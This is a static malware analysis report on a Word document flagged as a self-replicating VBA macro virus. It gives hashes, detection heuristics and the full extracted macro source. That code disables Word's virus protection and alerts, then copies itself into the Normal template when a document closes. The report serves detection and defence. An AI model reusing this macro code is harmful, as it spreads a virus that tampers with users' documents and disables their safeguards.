Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c83054247834599…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-08-31 21:47:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-20
MD5: 07511ac6d81b44c79e47586d571e83a0 SHA-1: c44090758a16fc36f06b3fc68db6ffc68e2e9494 SHA-256: 8c83054247834599f84b1701c93cebad5e68c2c0a811ef592ad62fd0701bed42
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The macros attempt to disable virus protection and replicate their code into the Normal template, indicating a self-propagating malicious behavior. The presence of replication code suggests an attempt to ensure persistence and spread.

Heuristics 3

  • ClamAV: Doc.Trojan.FS-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If Not α.Find("~^^~", 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 966 bytes
SHA-256: 3ca5c8b50fa7ff849d2a976dafaeb6e33d131526ce1e3d20f706f54e07cf4f9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia
Private Sub Document_Close()
On Error Resume Next
ι = ActiveDocument.Saved
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
If Len(ActiveDocument.Path) Then
Set α = IIf(MacroContainer <> NormalTemplate, NormalTemplate, ActiveDocument).VBProject.VBComponents(1).CodeModule
Set υ = ThisDocument.VBProject.VBComponents(1).CodeModule
If Not α.Find("~^^~", 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines)
If Not ActiveDocument.ReadOnly Then ActiveDocument.Save
End If: ActiveDocument.Saved = ι
End Sub

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